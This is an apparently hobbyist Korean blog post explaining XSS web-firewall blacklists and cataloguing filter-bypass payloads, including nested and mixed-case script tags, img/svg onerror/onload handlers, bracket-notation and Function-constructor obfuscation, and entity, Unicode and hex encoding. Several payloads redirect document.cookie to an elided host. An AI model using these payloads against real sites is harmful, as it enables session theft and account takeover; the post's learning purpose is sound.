XSS WAF

코딩 파인애플·2026년 6월 9일

CROSS SITE SCRIPTING

목록 보기
2/2
post-thumbnail

안녕하십니까
코딩사과의 짭 코딩 파인애플입니다
이번에는 XSS WAF에 관해 알아보겠습니다.

XSS WAF

말 그대로 XSS WAF는 공격을 막아주는 웹 방화벽을 의미합니다

보편적으로 패턴 매칭이라는 정적인 방법을 통해 거릅니다
예, 쉽게말해서 그냥 블랙리스트를 따로 만드는 겁니다.

keywords = ['Kilroy', 'was', 'here', 'and', 'or']

이런 식으로 따로 블랙리스트를 만들어 만일 사용자가 악의적인 스크립트를 집어넣게 된다면 필터링에 걸려서 방지하는 겁니다.

하지만 블랙리스트를 만들어도 특정한 방법을 통한 쌀먹도 가능합니다살숭이

우우우 쌀쌀쌀

대소문자 및 태그 변형

가장 고전적이지만, 미흡하게 설정된 WAF의 필터링을 무력화할 때 사용합니다

대소문자 혼용

<ScRiPt>alert(1)</sCrIpT>

재귀적 키워드 구성을 이용한 우회
SQLI WAF 처럼 단순히 그 단어를 공백이나 빈 문자("")로 치환하는 취약한 로직을 가질 경우 사용합니다

<scr<script>ipt>alert(1)</script>

이 경우에서도 중간에 script를 인식해 지워버릴지언정 그 사이 <scr과 ipt>가 붙어 하나의 script문으로 정상 작동합니다.

살숭이

+[Tab]키를 통해서도 우회가 가능합니다

<scr	ipt>alert(1)</scr	ipt>

대체 태그 및 이벤트 핸들러 활용

대부분의 많은 waf가 script만 집중적으로 막는데 script문 없이도 가능합니다

이미지 및 미디어 태그 오동작 유도

<img src=x onerror=document.location.href="..."+document.cookie>
<video src=x onerror=document.location.href="..."+document.cookie;>

이렇게 존재하지 않는 경로를 지정해 일부러 에러를 내고 onerror를 실행시킵니다

SVG 태그 활용

<svg onload=document.location.href="..."+document.cookie>

화면이 열리자마자 바로 자바스크립트를 실행시킵니다

자바스크립트 문법 난독화

WAF가 alert, document 같은 주요 키워드를 탐지할 때, 자바스크립트의 유연한 문법을 활용해 단어를 쪼개거나 다른 방식으로 호출합니다.

대괄호 표기법

window['al'+'ert'](1);
window['eval']('al'+'ert(1)');
// eval : 문자열을 인자로 받아 그 문자열을 실제 실행 가능한 코드로 반환하는 함수 워게임에 자주 나옵니다

객체의 속성에 접근할 때 점(.) 대신 문자열 연산(+)이 가능한 대괄호를 씁니다

+만일 window까지 막은 경우에는 window에 접근 가능한 객체를 이용합니다

self.alert(1)

top.alert(1)

parent.alert(1)

동적 함수 생성

Function('al'+'ert(1)')();

eval마저 막혔을 때 (X발) 함수 생성자를 이용해 문자열을 실행 가능한 코드로 만듭니다.

문자 인코딩을 통한 우회

서버가 디코딩되는 과정의 허점을 이용한 우회 기법입니다

HTML Entity Encoding
많은 WAF는 <나 >를 그대로 찾는 경우가 많은데 이때, HTML Entity를 사용하면 우회되는 경우가 있습니다

&#60;script&#62;alert(1)&#60;/script&#62;
//혹은
&lt;script&gt;alert(1)&lt;/script&gt;

이렇게 하면 브라우저는 이를 "<script>"로 받아들입니다.

Unicode Encoding
Javascript는 Unicode Escape를 지원합니다 즉,

\u0061\u006c\u0065\u0072\u0074(1)

이 썅1태로 난 코드가 alert(1)로 해석된다는 것이죠.

Hex Encoding
이 또한 가능합니다

\x61\x6c\x65\x72\x74(1)

alert(1)

+백틱을 이용해 우회할 수 있습니다 이 경우 괄호를 막은 경우에만 유효합니다

alert`1`
살숭이

이 외에도 더 많은 XSS WAF 우회가 있기에 이 글은 앞으로도 업데이트될 예정입니다.

이상으로 글을 마치겠습니다 행복한 하루 되시길 바랍니다.

profile
안녕하떼요 취미로 콤푸타 배우는 고든학교 6학년 유치원생이빈다.

0개의 댓글